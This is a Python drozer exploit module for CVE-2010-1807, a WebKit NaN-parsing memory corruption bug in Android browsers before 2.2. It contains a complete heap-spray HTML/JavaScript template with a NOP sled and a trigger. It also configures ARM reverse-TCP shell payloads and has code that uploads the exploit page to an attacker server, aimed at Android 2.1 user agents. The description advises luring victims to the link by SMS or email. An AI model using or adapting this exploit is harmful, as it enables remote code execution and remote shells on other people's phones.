from drozer.modules import Module, common

class NaNParse(Module, common.Exploit):

    name = "Webkit Invalid NaN Parsing (CVE-2010-1807)"
    description = """
    Webkit does not properly validate floating-point data, which allows a remote
    attacker to execute arbitrary code or cause a denial of service via a crafted
    HTML document, related to non-standard NaN representation.
    
    Reference: CVE-2010-1807
    Vulnerable:
    
      * Android < 2.2

    NOTE: This exploit is most reliable when the browser is not open and the victim clicks on a link to this exploit page. This can be done via SMS, email or any other mechanism that does not require the browser to be open already.

    """
    examples = ""
    author = ["MJ Keith", "Itzhak Avraham", "Tyrone (@mwrlabs)"]
    date = "2013-06-22"
    license = "BSD (3 clause)"
    module_type = "exploit"
    path = ["exploit", "remote", "browser"]
    payloads = ["weasel.reverse_tcp.armeabi", "shell.reverse_tcp.armeabi"]
    
    __template = """
    <html>
    <head>
    <script>
    function trigger() {
        var span = document.createElement("div");
        document.getElementById("BodyID").appendChild(span);
        span.innerHTML = -parseFloat("NAN(ffffe00572c60)"); //memory corruption when handling invalid values
    }
    
    function exploit() {
        var nop = unescape("\u33bc\u0057"); //LDREQH R3,[R7],-0x3C for nopping
        do {
            nop += nop;
        } while (nop.length <= 0x1000);
        
        var scode = nop + unescape("xxx");

        target = new Array();
        for(i=0; i<0x1000; i++)
            target[i] = scode;
            
        for(i=0; i<=0x1000; i++) {
            document.write(target[i] + "<i>");
            if(i > 0x999)
                trigger();
        }
    }
    </script>
    </head>
    <body id="BodyID">
        <br />
        <script>
            exploit();
        </script>
    </body>
    </html>
    """
    
    def __init__(self, session, loader):
        Module.__init__(self, session)
        common.Exploit.__init__(self, loader)
        
        self.payload_format = "U"
        self.working_directory = "/data/data/com.android.browser"
        
    def add_arguments(self, parser):
        parser.add_argument("--resource", default=None, help="specify the path component of the resultant exploit URI")
    
    def generate(self, arguments):
        exploit = self.__template.replace("xxx", self.payload)
        path = self.generate_or_default_path(arguments.resource)

        print "Uploading blank page to /...",
        if not self.upload(arguments, "/", " "):
            return
        
        print "Uploading Exploit to %s..." % path,
        if not self.upload(arguments, path, self.build_multipart({ ".*Android.*2\.1.*AppleWebKit.*": exploit }, "gc0p4Jq0M2Yt08jU534c0p"), mimetype="text/html", headers={ "X-Drozer-Vary-UA": "true; boundary=gc0p4Jq0M2Yt08jU534c0p" }):
            return
        
        print "Done. The exploit is available on: http://%s:%d%s" % (arguments.server[0], arguments.server[1], path.replace("\\",""))
        
